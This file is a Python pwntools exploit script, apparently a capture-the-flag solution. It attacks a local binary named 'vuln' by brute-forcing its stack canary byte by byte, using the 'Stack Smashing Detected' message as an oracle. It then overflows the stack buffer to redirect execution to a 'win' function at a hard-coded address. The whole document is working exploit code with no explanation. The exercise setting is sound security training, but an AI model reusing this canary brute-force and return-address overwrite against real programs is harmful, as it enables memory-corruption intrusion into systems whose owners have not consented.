#!/usr/bin/python2
from pwn import *
from pwnlib.log import getLogger

elf_log = getLogger("pwnlib.tubes.process")
elf_log.setLevel("error")

def run(payload):
    elf = process('../vuln')
    elf.recvuntil('> ')
    elf.sendline(str(len(payload)))
    elf.recvuntil('Input> ')
        
    elf.sendline(payload)
    return elf.recvall()
    
def find_canary():
    # send only the buffer (32-bytes) and the next unknown canary byte
    #   if there is no "Stack Smash" the the byte is correct and we can move on to the next one
    canary_found = ""
    for i in range(4):
        with log.progress('Searching Canary') as p:
            for i in range(256):
                p.status("At %c" % chr(i))
                
                payload  = 'A'*32
                payload += canary_found + chr(i)
                res = run(payload)
                
                if not "*** Stack Smashing Detected ***" in res:
                    canary_found += chr(i)
                    p.success('Found %s' % canary_found)
                    break
    return canary_found

if __name__ == "__main__":
    canary = find_canary()
    
    payload  = 'A'*32
    payload += canary
    payload += 'AAAABBBBCCCCDDDD'
    payload += p32(0x080486eb) # address of win
    
    res = run(payload)
    print(res)
    
   